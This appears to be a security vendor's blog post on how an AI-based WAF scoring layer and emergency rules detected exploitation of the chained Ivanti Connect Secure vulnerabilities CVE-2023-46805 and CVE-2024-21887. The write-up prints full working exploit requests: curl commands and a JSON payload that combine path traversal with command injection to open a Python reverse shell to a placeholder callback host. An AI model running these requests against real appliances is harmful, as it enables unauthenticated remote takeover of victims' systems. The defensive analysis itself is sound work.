How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability

AI-Powered WAF Stops Ivanti Zero-Day Before Disclosure

Traditional web application firewalls largely operate on a reactive model: a vulnerability is discovered, a signature is written, and only then are customers protected. Cloudflare's approach differs. The company's WAF includes an AI-driven layer—WAF Attack Score—that classifies malicious requests without relying on known signatures. A recent exploit chain targeting Ivanti Connect Secure (CVE-2023-46805 and CVE-2024-21887) demonstrates how this proactive layer caught the attacks and how emergency rules subsequently locked down the specific vectors.

Anatomy of the Ivanti Exploit Chain

The first vulnerability, CVE-2023-46805, is an authentication bypass achievable through directory traversal. The second, CVE-2024-21887, is a command injection flaw. Chained together, they allow an unauthenticated attacker to execute arbitrary operating system commands on the target device.

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

The example request targets the /license/keys-status/ endpoint, which normally requires authentication. By rewriting the path as /api/v1/totp/user-backup-code/../../license/keys-status/, the attacker bypasses the access control check via path traversal. The URL-encoded payload decodes to a Python reverse shell, granting the attacker interactive control over the system.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

The root cause is improper handling of the node_name parameter used by the /api/v1/license/keys-status/path:node_name endpoint. An attacker controls this value and injects commands using a semicolon delimiter. The full unauthenticated request takes the form /api/v1/totp/user-backup-code/../../license/keys-status/;CMD;, with the command URL-encoded for proper parsing.

A second code injection vector was identified in a different component. The authenticated endpoint /api/v1/system/maintenance/archiving/cloud-server-test-connection is also vulnerable to command injection via its JSON body. Because the payload is JSON, URL encoding is not required:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Although this endpoint requires authentication, an attacker can chain the path traversal from CVE-2023-46805 to reach it without credentials. The resulting unauthenticated request path becomes /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection. A full curl command exploiting this chain would look like:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

How Attack Score Caught the Bypass

Cloudflare's WAF Attack Score layers machine learning on top of managed rules to identify malicious requests that don't yet have matching signatures. The model classifies traffic across three categories—XSS, SQLi, and certain RCE variations—and produces a score from 1 to 99. A lower score indicates higher malice; scores below 20 are generally treated as attacks.

When Cloudflare analyzed exploit traffic for this Ivanti vulnerability in their dashboard (Security > Events), the Attack Score results showed a "WAF Attack Score" of 19 for the unauthenticated command injection request—firmly in the malicious category. The model also produced sub-scores for each attack category; in this case the "WAF RCE Attack Score" dominated, accurately identifying the request as a remote code execution attempt. Scores vary with the specific attack variation, but the classification was consistent.

Customers on Enterprise and Business plans who had enabled WAF Attack Score and configured a rule to block low scores—such as [cf.waf.score] le 20 or, for Business, [cf.waf.score.class] eq "attack"—were protected from this exploit chain before the vulnerabilities were publicly disclosed.

Emergency Rules Added as Backstop

As a defense-in-depth measure, Cloudflare also released Emergency Rules on January 17, 2024, within 24 hours of the public proof of concept. These rules, added to the Managed Ruleset under the name "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," explicitly block attempts to exploit both vulnerabilities. Since deployment, the rule set has triggered more than 180,000 times.

Operational Takeaways

The incident highlights the value of layered WAF defenses. Attack Score provides coverage against unknown and unreported threats, while emergency managed rules close out specific vulnerabilities quickly once they're understood. Organizations are advised to keep their WAF configurations current and to deploy rules that act on Attack Score classifications, rather than relying solely on signature-based detection.